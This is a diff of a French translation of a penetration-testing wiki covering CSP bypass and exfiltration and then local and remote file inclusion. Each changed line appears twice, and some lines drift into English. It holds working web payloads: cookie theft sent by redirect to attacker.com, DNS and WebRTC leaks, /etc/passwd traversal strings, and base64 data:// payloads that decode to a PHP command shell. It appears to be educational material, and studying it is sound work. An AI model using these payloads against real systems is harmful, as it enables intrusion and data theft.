# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
@ -632,9 +632,9 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Rewrite Error Page
### Réécrire la page d'erreur
D'après [**this writeup**](https://blog.ssrf.kr/69), il semble qu'il était possible de bypass une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.
D'après [**this writeup**](https://blog.ssrf.kr/69), il semble qu'il était possible de réaliser un bypass d'une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -643,40 +643,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME est une technique qui abuse d'un XSS (ou d'un XSS très limité) **dans un endpoint d'une page** pour **abuser** **d'autres endpoints de la même origine.** Cela se fait en chargeant le endpoint vulnérable depuis une page attaquante puis en actualisant la page attaquante vers le endpoint réel de la même origine que vous souhaitez abuser. De cette façon, le **endpoint vulnérable** peut utiliser l'objet **`opener`** dans le **payload** pour **accéder au DOM** du **endpoint réel à abuser**. Pour plus d'informations, consultez:
SOME est une technique qui abuse d'un XSS (ou d'un XSS fortement limité) **in an endpoint of a page** pour **abuser** **other endpoints of the same origin.** Cela se fait en chargeant l'endpoint vulnérable depuis une page d'attaquant puis en rafraîchissant la page de l'attaquant vers le véritable endpoint de la même origine que vous voulez abuser. De cette façon l'**endpoint vulnérable** peut utiliser l'objet **`opener`** dans le **payload** pour **access the DOM** du **real endpoint to abuse**. Pour plus d'informations, voir :
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
De plus, **wordpress** possède un endpoint **JSONP** à `/wp-json/wp/v2/users/1?_jsonp=data` qui **reflète** les **data** envoyées dans la sortie (avec la limitation n'acceptant que lettres, chiffres et points).
De plus, **wordpress** a un **JSONP** endpoint à `/wp-json/wp/v2/users/1?_jsonp=data` qui va **reflect** les **data** renvoyées dans la sortie (avec la limitation aux lettres, chiffres et points).
Un attaquant peut abuser de cet endpoint pour **générer une attaque SOME** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` — notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait exploiter l'**attaque SOME** via le **callback** **endpoint** vulnérable qui **contourne la CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Un attaquant peut abuser de cet endpoint pour **generate a SOME attack** contre WordPress et **embed** celui-ci à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **loaded** parce qu'il est **allowed by 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser du **SOME attack** via le **vulnerable** **callback** endpoint qui **bypasses the CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Contournements d'exfiltration CSP
## CSP Exfiltration Bypasses
S'il existe une CSP stricte qui ne permet pas d'**interagir avec des serveurs externes**, il y a quelques techniques que vous pouvez toujours utiliser pour exfiltrer l'information.
If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
### Location
Vous pouvez simplement mettre à jour la location pour envoyer au serveur de l'attaquant les informations secrètes:
You could just update the location to send to the attacker's server the secret information:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
### Balise meta
Vous pouvez rediriger en injectant une meta tag (c'est juste une redirection, cela ne va pas leak le contenu)
Vous pouvez rediriger en injectant une balise meta (c'est juste une redirection, cela n'entraînera pas de leak de contenu)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôte en adresses IP et les mettre en cache pour une utilisation ultérieure.\
Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôtes en adresses IP et les mettre en cache pour une utilisation ultérieure.\
Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec : `<link rel="dns-prefetch" href="something.com">`
Vous pouvez abuser de ce comportement pour **exfiltrate sensitive information via DNS requests**:
Vous pouvez abuser de ce comportement pour **exfiltrer des informations sensibles via des requêtes DNS** :
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -693,16 +693,16 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Pour éviter que cela ne se produise, le serveur peut envoyer l'en-tête HTTP :
Pour éviter cela, le serveur peut envoyer l'en-tête HTTP :
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> Apparemment, cette technique ne fonctionne pas dans les headless browsers (bots)
> Apparemment, cette technique ne fonctionne pas dans headless browsers (bots)
### WebRTC
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la directive `connect-src` du CSP**.
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
En fait, vous pouvez _leak_ des informations en utilisant une _DNS request_. Regardez ce code:
```javascript
@ -726,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Le credential popup envoie une requête DNS vers l'iconURL sans être restreint par la page. Il ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost.
La popup de credential envoie une requête DNS vers iconURL sans être restreinte par la page. Elle ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -742,7 +742,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Création automatique de CSP
## Génération automatique de CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

304
src/pentesting-web/file-inclusion/README.md
View File

@ -4,54 +4,54 @@
## File Inclusion
**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). In php this is **désactivé** by default (**allow_url_include**).\
**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). Dans php ceci est **désactivé** par défaut (**allow_url_include**).\
**Local File Inclusion (LFI):** Le serveur charge un fichier local.
La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier que le serveur va charger.
La vulnérabilité se produit lorsque l'utilisateur peut, d'une manière ou d'une autre, contrôler le fichier qui va être chargé par le serveur.
Vulnérables **PHP functions**: require, require_once, include, include_once
Fonctions **PHP** vulnérables : require, require_once, include, include_once
Un outil intéressant pour exploiter cette vulnérabilité: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
## Blind - Intéressant - fichiers LFI2RCE
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**En combinant plusieurs listes LFI \*nix et en ajoutant davantage de chemins, j'ai créé celle-ci :**
**En mélangeant plusieurs listes \*nix LFI et en ajoutant d'autres chemins, j'ai créé celle-ci :**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Essayez aussi de changer `/` par `\`\
Essayez aussi d'ajouter `../../../../../`
Essayez également de remplacer `/` par `\`\
Essayez également d'ajouter `../../../../../`
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Fusion de différentes wordlists:
Fusion de différentes wordlists :
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Essayez aussi de changer `/` par `\`\
Essayez aussi de supprimer `C:/` et d'ajouter `../../../../../`
Essayez également de remplacer `/` par `\`\
Essayez également de supprimer `C:/` et d'ajouter `../../../../../`
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Consultez la liste LFI de linux.
## LFI basique et contournements
## Notions de base LFI et bypasses
Tous les exemples sont pour Local File Inclusion mais pourraient aussi être appliqués à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Tous les exemples concernent Local File Inclusion mais peuvent également être appliqués à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass of: $\_GET\['param']."php")
Contourner l'ajout de caractères à la fin de la chaîne fournie (bypass de: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -71,7 +71,7 @@ Ceci est **résolu depuis PHP 5.4**
### **Encodage**
Vous pouvez utiliser des encodages non standard comme double URL encode (et d'autres) :
Vous pouvez utiliser des encodages non standard comme le double encodage d'URL (et d'autres) :
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -80,43 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Depuis un dossier existant
Peut-être que le back-end vérifie le chemin du dossier:
Peut-être que le back-end vérifie le chemin du dossier :
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Explorer les répertoires du système de fichiers sur un serveur
### Exploration des répertoires du système de fichiers sur un serveur
Le système de fichiers d'un serveur peut être exploré de façon récursive pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à tester l'existence de dossiers spécifiques. Ci-dessous une méthode détaillée pour y parvenir :
Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier les répertoires, pas seulement les fichiers, en employant certaines techniques. Ce processus implique de déterminer la profondeur des répertoires et de tester l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
1. **Déterminer la profondeur des répertoires :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
1. **Déterminer la profondeur des répertoires :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe for Folders:** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de 1 :
2. **Sondez les dossiers :** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un cran :
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpréter les résultats :** La réponse du serveur indique si le dossier existe :
- **Erreur / Pas de sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié.
- **Contenu de `/etc/passwd` :** La présence du dossier `private` est confirmée.
4. **Exploration récursive :** Les dossiers découverts peuvent être sondés plus en profondeur pour trouver des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles Local File Inclusion (LFI).
4. **Exploration récursive :** Les dossiers découverts peuvent être davantage sondés pour des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles Local File Inclusion (LFI).
Pour explorer des répertoires à différents emplacements du système de fichiers, adaptez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant se trouve à une profondeur de 3), utilisez :
Pour explorer des répertoires à différents emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant est à une profondeur de 3), utilisez :
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation est une méthode employée pour manipuler des chemins de fichier dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré.
La path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de concevoir un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.
En PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :
En PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, et `/etc/passwd/` sont tous traités comme le même chemin.
- Quand les 6 derniers caractères sont `passwd`, ajouter un `/` (obtenant `passwd/`) ne change pas le fichier ciblé.
- De même, si `.php` est ajouté à un chemin de fichier (par exemple `shellcode.php`), ajouter un `/.` à la fin n'altérera pas le fichier accédé.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
Les exemples fournis montrent comment utiliser path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations de comptes utilisateur) :
Les exemples fournis montrent comment utiliser la path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations sur les comptes utilisateurs):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -126,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Dans ces scénarios, le nombre de traversals nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
Dans ces scénarios, le nombre de traversals nécessaires peut être d'environ 2027, mais ce chiffre peut varier en fonction de la configuration du serveur.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combinées à des segments contenant des points supplémentaires et à d'autres caractères peuvent être utilisées pour naviguer dans le système de fichiers, en neutralisant effectivement les chaînes ajoutées par le serveur.
- **Determining the Required Number of Traversals**: Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour atteindre la racine puis `/etc/passwd`, en s'assurant que toute chaîne ajoutée (comme `.php`) est neutralisée tout en conservant le chemin désiré (`/etc/passwd`).
- **Starting with a Fake Directory**: Il est courant de commencer le chemin par un répertoire inexistant (par exemple `a/`). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse du chemin du serveur.
- **Utilisation de dot segments et de caractères supplémentaires** : Les séquences de traversal (`../`) combinées à des dot segments et à des caractères supplémentaires peuvent être utilisées pour parcourir le système de fichiers, en neutralisant efficacement les chaînes ajoutées par le serveur.
- **Déterminer le nombre de traversals requis** : Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour atteindre la racine puis `/etc/passwd`, en s'assurant que toute chaîne ajoutée (comme `.php`) est neutralisée tout en conservant le chemin souhaité (`/etc/passwd`).
- **Commencer par un répertoire factice** : Il est courant de commencer le chemin par un répertoire inexistant (par exemple `a/`). Cette technique sert de précaution ou permet de satisfaire les exigences de la logique d'analyse du chemin du serveur.
Lors de l'utilisation de path truncation techniques, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
**This vulnerability was corrected in PHP 5.3.**
**Cette vulnérabilité a été corrigée dans PHP 5.3.**
### **Filter bypass tricks**
### **Techniques de contournement de filtres**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -146,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Dans php, ceci est désactivé par défaut parce que **`allow_url_include`** est **Off.** Il doit être **On** pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
Dans php ceci est désactivé par défaut parce que **`allow_url_include`** est **Off.** Il doit être **On** pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Si, pour une raison quelconque, **`allow_url_include`** est **On**, mais PHP est **filtering** l’accès aux pages web externes, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le protocole data avec base64 pour décoder un code PHP en b64 et egt RCE:
Si pour une raison quelconque **`allow_url_include`** est **On**, mais PHP est **filtering** l'accès aux pages web externes, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP b64 et egt RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et après le décodage `b64` cette partie renverra simplement des données indésirables et le vrai code PHP sera inclus (et donc exécuté).
Un autre exemple **n'utilisant pas le protocole `php://`** serait :
> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et après le décodage b64 cette partie ne renverra que du junk et le véritable code PHP sera inclus (et donc exécuté).
>
> Un autre exemple **n'utilisant pas le protocole `php://`** serait :
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python élément racine
## Python Élément racine
En Python, dans un code comme celui-ci :
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Si l'utilisateur passe un **chemin absolu** à **`file_name`**, le **chemin précédent est simplement supprimé** :
Si l'utilisateur passe un **absolute path** à **`file_name`**, le **chemin précédent est simplement supprimé**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
C'est le comportement prévu selon [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Si un composant est un chemin absolu, tous les composants précédents sont supprimés et l'assemblage continue à partir du composant de chemin absolu.
> Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jonction continue à partir du composant de chemin absolu.
## Java Liste des répertoires
Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, un **listing du répertoire est renvoyé**. Cela ne se produit pas dans d'autres langages (afaik).
Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, un **listing du répertoire est renvoyé**. Cela ne se produira pas dans d'autres langages (à ma connaissance).
## Top 25 paramètres
Voici la liste des 25 paramètres les plus susceptibles d'être vulnérables à local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Voici la liste des 25 principaux paramètres susceptibles d'être vulnérables aux local file inclusion (LFI) (d'après [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -212,38 +211,38 @@ Voici la liste des 25 paramètres les plus susceptibles d'être vulnérables à
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
## LFI / RFI utilisant les wrappers & protocoles PHP
### php://filter
Les filtres PHP permettent d'effectuer des opérations de **modification sur les données** avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres :
PHP filters permettent d'effectuer des **opérations de modification de base sur les données** avant qu'elles ne soient lues ou écrites. Il y a 5 catégories de filtres :
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Retire les balises des données (tout ce qui est entre les caractères "<" et ">")
- Notez que ce filtre a disparu des versions modernes de PHP
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforme vers un encodage différent (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l`
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l`
> [!WARNING]
> En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> En abusant du filtre de conversion `convert.iconv.*` vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Compresse le contenu (utile si vous exfiltrez beaucoup d'informations)
- `zlib.deflate`: Compresse le contenu (utile si exfiltrating beaucoup d'informations)
- `zlib.inflate`: Décompresse les données
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Obsolète
- `mdecrypt.*` : Obsolète
- Other Filters
- En lançant dans php `var_dump(stream_get_filters());` vous pouvez trouver quelques **filtres inattendus** :
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
- `consumed`
- `dechunk`: inverse l'encodage chunked HTTP
- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -272,38 +271,38 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> La partie "php://filter" n'est pas sensible à la casse
> La partie "php://filter" est insensible à la casse
### Utiliser php filters comme oracle pour lire des fichiers arbitraires
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une exfiltration booléenne du fichier (caractère par caractère) en utilisant les php filters comme oracle. En effet, les php filters peuvent être utilisés pour agrandir un texte suffisamment pour que php déclenche une exception.
[**Dans ce post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une **boolean exfiltration of the file (char by char) using php filters** comme oracle. Ceci parce que php filters peuvent être utilisés pour agrandir un texte suffisamment pour provoquer une exception php.
Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :
Dans l'article original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :
- Utiliser le codec **`UCS-4LE`** pour laisser le caractère initial du texte au début et faire augmenter la taille de la chaîne de façon exponentielle.
- Cela permet de générer un **texte si volumineux lorsque la lettre initiale est correctement devinée** que php déclenchera une **erreur**.
- Le filtre **dechunk** **supprimera tout si le premier caractère n'est pas un hexadécimal**, donc on peut savoir si le premier caractère est hex.
- Ceci, combiné avec le précédent (et d'autres filters selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand les transformations suffisent pour qu'elle ne soit plus un caractère hexadécimal. Car si c'est hex, dechunk ne la supprimera pas et la bombe initiale provoquera une erreur php.
- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un `a` par exemple car si on applique 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée parce qu'elle se multiplie avec la bombe initiale.
- En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex).
- Quand le caractère initial est un chiffre, il faut l'encoder en base64 et leak les 2 premières lettres pour leak le chiffre.
- Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filters d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des caractères et de mettre en première position d'autres lettres du texte.
- Et pour pouvoir obtenir des **données supplémentaires** l'idée est de **générer 2 octets de données junk au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour les faire **pivoter avec les 2 octets suivants**, et **supprimer les données jusqu'aux données junk** (cela supprimera les 2 premiers octets du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak.
- Cela sera utilisé pour générer un **texte tellement volumineux quand la lettre initiale est devinée correctement** que php déclenchera une **erreur**
- Le filtre **dechunk** **supprimera tout si le premier char n'est pas un hexadecimal**, donc on peut savoir si le premier char est hex.
- Cela, combiné avec le précédent (et d'autres filters dépendant de la lettre devinée), permettra de deviner une lettre en début de texte en observant quand on applique suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Car si elle est hex, dechunk ne la supprime pas et la bombe initiale provoquera une erreur php.
- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela permet de découvrir si la première lettre est un `a` par exemple parce que si on applique 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale.
- En utilisant d'autres transformations comme **rot13** au début il est possible de leak d'autres chars comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex).
- Quand le caractère initial est un nombre il est nécessaire de base64 encoder et leak les 2 premières lettres pour leak le nombre.
- Le problème final est de voir **how to leak more than the initial letter**. En utilisant des filters d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des chars et de mettre en première position d'autres lettres du texte.
- Et afin de pouvoir obtenir **further data** l'idée est de **générer 2 bytes de junk data au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour le faire **pivot with the next 2 bytes**, et **supprimer les données jusqu'aux junk data** (cela supprimera les 2 premiers bytes du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak.
Dans le post un outil pour effectuer cela automatiquement a aussi été leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Dans le post, un outil pour effectuer cela automatiquement a aussi été leaked : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu de fichiers ouverts:
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentially useful to exfiltrate the content of opened files:
```php
